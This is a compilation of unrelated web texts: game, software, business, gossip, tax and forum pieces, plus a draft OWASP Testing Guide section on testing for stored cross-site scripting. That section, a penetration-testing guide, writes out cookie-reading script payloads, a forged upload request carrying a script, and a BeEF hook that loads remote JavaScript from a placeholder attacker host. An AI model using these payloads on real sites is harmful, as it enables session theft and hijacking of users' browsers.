The rifle's focus is ranged single-target damage and limited control of enemies. Bleeding Shot, Volley, and Kill Shot are all purely damage-oriented, with Bleeding Shot also applying a bleed to enemies, not surprisingly. Aimed Shot, in addition to damage, also cripples enemies, while Brutal Shot applies vulnerability (reduced armor). The rifle's fifth skill, Rifle Butt, knocks away a foe in melee range.
If you prefer sniping down a target from far away, the rifle may suit your needs perfectly.


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Assessment Process
Center Deans work collaboratively to develop administrative unit outcomes and assessment methods shared by all centers. Refinement and customization of administrative unit outcomes and assessment methods occur continuously on an annual basis to promote program improvement.
The assessment process includes the following elements:
- Center Deans review and revise administrative unit outcomes
that are applicable to all centers
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Deans develop a common student survey instrument to be administered
by all centers
- Develop supplemental survey
questions tailored to a particular center with guidance from faculty
and staff
- Translate the student survey into
principal languages such as Chinese, Spanish and Vietnamese to
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- Administer the survey to students enrolled at the
center with assistance from the faculty
- Tabulate survey data and compile narrative comments
- Circulate survey results online and via e-mail
- Engage faculty, staff and students in meaningful dialogue
about the Center's outcomes and assessment findings to identify
program improvement areas
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- Evaluate and submit progress reports on administrative unit
outcomes in accordance with the College's established SLO reporting
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Genre: Comedy
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Plot: Derek and Casey are back and continue their hilarious sibling rivalry during a family vacation to visit their grandmother at her beautiful lakefront lodge. Things heat up with Casey when she meets, Jesse, a handsome young dancer who is a waiter at the lodge. Meanwhile as Derek is chilling on his vacation, he falls for Roxy, the rich girl who lives across the lake. But when Roxys father, a greedy land developer, threatens to destroy the natural beauty around them, the McDonald-Venturi kids band together to save the lake and the lodge.


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As you work with Aperture and Photoshop, it is useful to understand how changes made in each application to an image affect what you see in the other. Here's a basic example workflow:
Below is an example image that you might plan to edit with both Aperture and Photoshop:
Start by making a few adjustments in Aperture including straightening the image, adjusting the blue color of the sky, and adding some vibrancy:
Before sending the image to be edited in Photoshop, make sure that the export settings are correct in Aperture > Settings > Export. Select Photoshop as the External Photo Editor. In this example the External Editor File Format is also set to "PSD (8-bit)":
Send the Aperture version to Photoshop for editing by choosing Photos > Edit with Adobe Photoshop...
Before sending the image to Photoshop, Aperture creates a new master. This master renders into the image all Aperture adjustments you've made so far. The new master will be either a PSD or TIFF, depending on your preference settings in Aperture. When the image opens in Photoshop, all Aperture adjustments will be visible because they have been rendered into the image.
Edit the image in Photoshop. This may involve pixel edits to the image, addition of new layers, and so on. When you save the image, changes are written directly to the master. Be sure to enable the Maximize Compatibility option when saving a PSD in Photoshop.
When you return to Aperture, it detects that the master has been updated, and creates a new thumbnail and preview to reflect the changes. In the stack depicted below, you can see from left to right: the Aperture-adjusted image, and the updated master sent back from Photoshop.
You can now proceed to add adjustments to the image in Aperture. In this example a vignette has been added:
You can now send the image to Photoshop for further editing. When the image opens again in Photoshop, the Aperture adjustments added after the initial round trip are not visible in Photoshop. This is because Aperture does not flatten or render the image again after the initial creation of the external master. This preserves Photoshop layers, allowing you to come back and work with them as needed at any point in your workflow. In the image below, you have changed the font of the text in Photoshop.
When you ave the image again in Photoshop and return to Aperture, the thumbnail and preview are updated to reflect the current state of the master, and all Aperture adjustments are visible.
You may find it helpful to apply certain adjustments in Aperture before sending the image to Photoshop. For example, if you plan to add text to the image in Photoshop, be sure to apply the straighten adjustment in Aperture prior to initially sending it. Otherwise the text will be affected by the straighten adjustment. Basically, any Aperture adjustment that you need to see to perform a desired edit in Photoshop should be applied before the initial round trip.
If necessary, you can create a new rendered master with all edits rendered by holding the Option key as you choose Photos > Edit a Copy with Adobe Photoshop... Remember that if you do so, Aperture will flatten the image, and you will no longer have access to separate layers in Photoshop.


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Handango has been the leading provider of mobile applications since the company's inception in 1999. Saying that a lot has changed in the 18 years that we have been in business would be an understatement. 12 days marks the anniversary of the release of the first iPhone, and in 2016 alone, sales of the iPhone topped 210 million units. The world we are living in is changing fast, and Handango has always been ahead of the curve. Handango was one of the first online software stores to sell mobile apps for personal digital assistants and smartphones. Handango offered and still offers worldwide distribution, support, and e-commerce services to its partners.
On June 16, 2017, Handango was pleased to announce a 66.7% stake in limited liability company Selenium Ventures. Selenium Ventures is an app development company based in Salt Lake City, Utah that employs 45 talented software engineers to create web properties, mobile applications, and other online properties to serve their users. Selenium is most known for their partnerships with large names in the mobile gaming industry, such as 10Bet, Bet365, BetFair, Casumo, and William Hill. Selenium provides insight on applications such as the Bet365 app and provides users information on how to download the application and utilize it in such a way that maximizes revenue for the associated company — in this case, Bet365. As a result, for their efforts, Selenium Ventures is given a commission on every new user referred to the platform. Selenium owns more than 100 web properties and had net $1.2MM in the 2016 fiscal year, making it a leader in its space.
Handango has made the decision to acquire a majority stake in Selenium Ventures for a wide array of reasons, but the most prevalent one being the rationality of the decision. The mobile gaming industry is expected to more than double in the coming two years alone, and Selenium Ventures is currently one of the largest firms in its space. Due to the current oligopoly in the mobile gaming industry, Handango's stake in Selenium Ventures allows Handango to focus on creating the applications in our pipeline and updating the ones that we have already released without diverting our focus. Entering a new space would require research and development and recruitment of talented software engineers among the other barriers to entry in the mobile gaming space. Handango believes that our stake in Selenium Ventures will allow for our investors and our company to have a vested interest in the fast-growing industry without diverting our focus from our current flagship products and services.
While able to acquire the company in its entirety, Handango has decided against doing so for the reasons listed above. Handango management is not disrupting company operations and is keeping the same CEO, board of directors, and other talented staff. Unlike other acquisitions, Handango does not view this one as a turnaround of a failing company, rather, interest in a fast-growing, dominant company. We thank the board of directors and investors in both Handango and Selenium Ventures for approving the purchase and look forward to future developments with the Selenium team.


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Is It OK To Bond With Your Exes Ex As Taylor Swift & Reese Witherspoon Have Done?
His worst nightmare come true!
Taylor Swift and Reese Witherspoon have both had the pleasure (or not, depending on how they look at it) of dating Jake Gyllenhaal — and now the two are becoming friends! Is it cool to bond with another one of his exes or should you abolishing any reminder of him from your life?
Jake's exes first met the Country Music Awards in April. From that point on, a friendship blossomed. In fact, not only did Reese, 35, attend the country cutie's Aug. 28 show at LA's Staples Center, but the two also shared a girls-only dinner at Boa Steakhouse Aug. 28 — where they gossiped about Jake!
"They talked about how vain and self-absorbed Jake can be," a source told Us Weekly. "They laughed about it."
But is this kind of boy-bashing necessary, and does seeing another of his exes remind you constantly of your failed relationship?
Reese has happily moved on from her two-year lovefest with the Source Code star and married CAA agent Jim Toth this year. When they split, it appeared to have been her decision. However, 21-year-old Taylor didn't seem to have fared the same, and seemed genuinely broken after her two-month affair with the actor ended. Although Taylor may be getting back together with ex-boyfriend Taylor Lautner, she hasn't moved on as solidly or completely as Reese has.
Becoming friends with another of your exes exes is completely fine. Assuming he has a type, you're going to be bonding with someone who's a heck of a lot like you. In fact, you should thank him for finding you a new BFF (well, maybe not). But if you're going to have a friendship like Taylor and Reese are, you need to be mature enough to handle it.
What do I mean by this? Well, your ex is inevitably going to come up. But if you're constantly talking or complaining about him after your initial few hang-out sessions, than he's still an unhealthy presence in your life, and so is she. If Reese and Taylor continue to talk about how vain Jake is, they'll never be able to sustain a true friendship. But if they can put him in the past in the future, then these gals are on the road to a beautiful, potentially lifelong relationship.


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It's been an great season for Will Power. He held down the pole position in the standings from the Sao Paulo Indy 300 in May to the The Milwaukee Mile in June. From late June through early September he was stuck in second place until his finish in Japan helped him earn enough points to pull into first. He then fought his way through breathing down the exhaust pipes of the number one seater until he could reclaim the spot that was rightfully his.
The only race left is the Izod IndyCar World Championships at Las Vegas. Will Will cruise his trusty No. 12 IndyCar to victory? Be sure to catch him on October 16 as he goes lap for lap with the world's best drivers at the Las Vegas Motor Speedway.


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Testing for Stored Cross site scripting (OTG-INPVAL-002)
This is a draft of a section of the new Testing Guide v3
OWASP Testing Guide v3 Table of Contents
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Brief Summary
Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and relative exploitation scenario.
Description of the Issue
Stored XSS occurs when a web application gathers malicious input from a user and then stores that input in a data store for later viewing. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user's browser under the privileges of the web application.
This vulnerability can be used to conduct a number of browser-based attacks including:
- Hijacking another users browser
- Capturing sensitive information viewed by application users
- Pseudo defacement of the application
- Port scanning of internal hosts
- Directed delivery of browser-based exploits
- Other malicious activities
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:
- Attacker stores malicious code into the vulnerable page
- User authenticates in the application
- User visits vulnerable page
- Malicious code is executed by the browser's user
Stored XSS is particularly dangerous in application area where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by its browser. This might expose sensitive information such as session authorisation tokens.
Black Box testing and example
Input Forms
The first step is to identify of all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:
- User/Profiles page: the application allows user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc
- Shopping cart: the application allows user to store items into the shopping cart which can then be reviewed later
- File Manager: application that allows upload of files
- Application settings/preferences: application that allows user to set preferences
Analyse page source code
Input stored by the application is normally used in HTML tags but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how is positioned in the context of the page.
Example: Email stored data in index2.php
The HTML source code of index2.php where the email value is located:
<input class="inputbox" type="text" name="email" size="40" value="email@example.com" />
In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:
<input class="inputbox" type="text" name="email" size="40" value="firstname.lastname@example.com"> MALICIOUS CODE <!-- />
Testing Stored XSS
This involves testing the input validation/filtering controls of the application. Basic injection examples in our case:
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as WebScarab. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results with a windows popup containing the cookie values.
Results Expected:
The HTML source code following the injection:
<input class="inputbox" type="text" name="email" size="40" value="firstname.lastname@example.com"><script>alert(document.cookie)</script>
The input is stored and the XSS payload is executed by the browser when reloading the page.
In case the input is escaped by the application, it is suggested to test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filter in action. Many techniques exist in order to evade input filters. It is strongly recommended to refer to RSnake and Mario XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.
Leverage Stored XSS with BeEF
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as BeEF, XSS Proxy and Backframe. Let's see what a typical BeEF exploitation scenario involves:
- Waiting for the application user to view the vulnerable page where the stored input is displayed
- Control the application user's browser via the BeEF console
The JavaScript hook can be injected by exploiting the XSS vulnerability in the application.
Example: BeEF Injection in index2.php:
firstname.lastname@example.com"><script src=http://attackersite/beef/hook/beefmagic.js.php></script>
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard and launch complex XSS attacks.
Result Expected
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.
File Upload
In case the application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.
Consider the following HTTP POST request for file upload:
POST /fileupload.aspx HTTP/1.1 […] Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt" Content-Type: text/plain test
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG, GIF can contain a XSS payload that is executed when they are loaded by the browser. This is possible due to the MIME type for an image such as image/gif can be set to text/html instead. In this case the file will be treated by the client browser as HTML.
HTTP POST Request forged:
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif" Content-Type: text/html <script>alert(document.cookie)</script>
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT file with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.
Gray Box testing and example
Testing for Topic X vulnerabilities:
Result Expected:


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There are many things that get people riled up or excited especially when it comes to playing or watching sports. One of the main components to any sports team is their mascot. In this tutorial you will learn "how to draw a mascot", step by step. I chose to use an animal for this purpose because that is the most common. What is a mascot exactly? Well, traditionally the purpose of a mascot is to bring luck to a team whether that team be from baseball, football, basketball, hockey, soccer, volleyball, tennis, and many other sports. Now these games can either for professional teams, or for schools, military units, and even brand names. Some examples of a commercial mascot is the Trix rabbit for the cereal brand, the Cheerios bumblebee, the fluffy pink bunny that walks around with black sunglasses, and bangs on a drum for the company that produces Energizer batteries, and so on and so forth. A mascot can come as a person, animal, or object, but the most common is an animal. Lions, tigers, and bears, are some of the more popular concepts in the animal form, and Indians, devils, and raiders are some of the people that are used. In all, no matter what type of mascot you choose for a new team, it must represent your teammates, and how you feel about the team in general. This tutorial will get you started with a crocodile, and from there you can choose to draw mascots of any kind. I hope you have fun with this lesson, I still have tow more to upload so try and stay tuned in for more drawing fun coming your way. Adios!
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shaxs necesitaba un nuevo diseño de página web y lanzó un concurso de diseño en 99designs.
Un ganador ha sido elegido entre 91 diseños de 25 diseñadores freelance.
Over the past year we have been developing a new project management software. All of our designers are currently allocated to UI work for the software. We need to start working on the website and decided to try 99 Designs.
I have wireframed the layout I want. I have plenty of examples of sites I like and I am just looking for someone to come in and make it look awesome.
Clever Tools
Clever Tools is a new project management software that combines collaboration, issue tracking, time tracking, and other elements into a convenient package. We are looking for a home page that is designed to reflect this data and entice users to singup for a free account. After looking over literally 100+ websites, we have found design elements we liked and mocked up a wireframe.
We need you to take wireframe and own it. Meaning, take the general layout and ideas we have and be creative. Look at the list of other sites we like. These sites all contain elements we like. The design must be unique, but use those as ideas of the type of site we are looking for.
Please note that the wireframe is not drawn to scale. It has just been put together to show the general layout ideas and features on the home page we would like. The notepad icons on the wireframe will offer more details on that specific design element.
While we are not asking you to code, just design, please keep in mind when designing that AJAX will be used in various parts of the home page (see wireframe).
This size and design must use conventional industry standards. It should have the "web 2.0" design aspects and feel to it. They should be done in a layered PSD.
I have included our logo and some screenshots here. This will give you screenshots to use in the design and also give you a feel our the UI which should help you in your design.
Payment will be made either PayPal or Western Union. If we have to pay via Western Union, we will split the fees with the winner.
The winner will also be asked to do more work for us as a contractor if he/she chooses. We have a lot of design work we could use help with and we are always looking for more talent.
- Web 2.0 design influences
- OWN IT. Take our wireframe and give it your own design style
- Pay attention to the list of sites we like.
- STOLEN designs. Must be all original.
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Real Estate Taxes: Real Property Tax Relief: Ten Percent and Two and One Half Percent Rollbacks, and Homestead Exemption, by County, Distributed during Calendar Year 2012 (for Tax Year 2011)
Since 1971, a 10 percent reduction, or "rollback," has applied to each taxpayer's real property tax bill. It is limited to all real property not intended primarily for use in a business activity. Qualifying property includes property subject to the following uses: farming; leasing property for farming; occupying or holding or leasing property improved with single-family, two-family, or three-family dwellings; or holding vacant land that the county auditor determines will be used for farming or to develop single-family, two-family, or three-family dwellings.
In addition, a 2.5 percent rollback of real property taxes is granted on a homestead (a dwelling plus up to one acre) that is occupied by the homeowner.
Lastly, owner-occupants who are age 65 or older or who are permanently and totally disabled may qualify for an additional reduction in their real property taxes by applying for a homestead exemption under Section 323.152(A). Each qualified homeowner is eligible for a credit worth the taxes that would have been charged on up to $25,000 in true value ($8,750 in taxable value). In other words, an eligible homestead worth $100,000 will essentially be taxed as if it is worth $75,000.
The Department of Education reimburses the schools for their share of the tax reductions and the Tax Commissioner reimburses the counties, townships, municipalities, and special taxing districts for their shares of the tax reductions. The county auditor also receives 2 percent of the amount reimbursed under Section 323.152 as payment for administering the homestead exemption and 3.0 percent rollback. Local governments are fully reimbursed from the state general revenue fund for these tax reductions.
Table PD-1 indicates that during calendar year 2012, the Departments of Taxation and Education together reimbursed local governments a total of $1,711.4 million, including $1,100.6 million for the 10 percent rollback, $400.1 million for the homestead exemption (including $2.4 million for late-filers), and $210.7 million for the 2.5 percent rollback (including $87,623 for late-filers). Additionally, $16.2 million was paid by the Departments of Taxation and Education to county auditors for administering the homestead exemption ($12.0 million) and 2.5 percent rollback ($4.2 million). These administration payments are excluded from the table.


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My sister and I have done a few Ouija board sessions and during those sessions I have name, dates, ages or random words pop into my head. I ask the spirit I am connecting with about these words/names/dates that pop into my head and it always, in one way or another, connects to the spirit. Many people have told me that I am a medium or have the potential to be. One of my friends said that the board itself helps me and I would like to know if there was a way to develop my abilities so I don't need to have the board to communicate with the spirits.
Thank you
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Posted 22 September 2012 - 07:20 PM
I am perfectly imperfect therefore I am perfect.
Posted 22 September 2012 - 08:01 PM
A short course in scrying by Benjamin Rowe.
Asperges me, AGLA, hyssopo, et mundabor; lavabis me, et super nivem dealbabor.
Accendat in nobis Eheieh ignem sui amoris et flammam aeternae caritatis.
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Posted 24 September 2012 - 08:23 PM
I would have people think of an object and also write it down on a piece of paper. I would then start saying or writing down the images that I would receive. Trust that what your getting is correct and say it, no matter how silly it may sound to you. It may mean something important to that person. I once wrote....red, yellow, green, blue, purple, orange BOO. It was a message for a sister and a daughter. When they were younger all the kids were playing hide-and- go- seek and the woman that had passed reminded them, just by those words that she had painted her face all different colors and jumped out of the bushes and yelled BOO! So, no matter what, don't dismiss, say it. It is a great way to develop you abilities.
Also, prior to opening up to "spirit" make sure you surround yourself with light for protection. You never know who/what you can let in.
Also, prior to opening up to "spirit" make sure you surround yourself with light for protection. You never know who/what you can let in.
I am more than my physical body.
Posted 24 September 2012 - 09:24 PM
Thanks for the idea! I will have to try it out. And don't worry I always have light around me.
I am perfectly imperfect therefore I am perfect.
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It's the year of the deal. People just don't recognize it. Stocks have done nothing for years. The good ones have done nothing. The bad ones have done nothing. A handful of stocks stole the spotlight, and the rest have been dogs.
That's most certainly the rationale behind the
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deal to buy
. Five years ago -- five long hard years ago -- Heinz stock was at $52. Until very recently, no doubt until talks started to occur, it stood at $55. Yet the only thing that had happened to Heinz was that it had gotten better, stronger and more powerful. Gross profit, $3.5 billion back then, was on pace to reach $4.3 billion this year. $2.60 per-share earnings then, now $3.53.Can you imagine that much more gross profit, and that kind of EPS increase, yet the stock rallied just 3 points in five years?
It is absurd. It was only after the recent market run and the talk of so many takeovers out there that good things started happening to the stock.
I have always loved and pushed Heinz stock on everyone and anyone. It was the first stock I ever bought for my hedge fund. It was the first stock I ever sold as a broker at Goldman Sachs. I did it because my former partner, Jack Shepherd, made this point: No matter what you do, no matter where you are and no matter what happens, you will not see a bottle of Japanese or Chinese ketchup on the table. It will always be Heinz. I guess Warren Buffett knows that, too.
Today's second deal comes under the total-outrage have-to-buy category -- the
U.S Airways
-AMR combination. This one really rankles, because all of the planes we fly are always full. The prices are almost never cheap. Now they are going to go up big, and the U.S. Justice Department can't do a thing because it doesn't want an AMR to liquidate.
The combination is so powerful, and the airlines now so few, and the barriers to entry so great that it makes a tremendous amount of sense to buy the combination. The
Southwest Air
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United Continental
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area, as well -- all are buys.
I have been screaming it from the rooftops: This is the year of the deal. It is happening. Huge, huge deals, like
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, like Heinz. Gigantic ones. Big fees for bankers. Not one-off any more. Amazing -- and almost no one believes.
Random musings
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is just doing much better than Coca-Cola (KO) is. Plain and simple.
looks more like Heinz than the others, but you can't chase.
At the time of publication, Action Alerts PLUS, which Cramer co-manages as a charitable trust, had no positions in the stocks mentioned.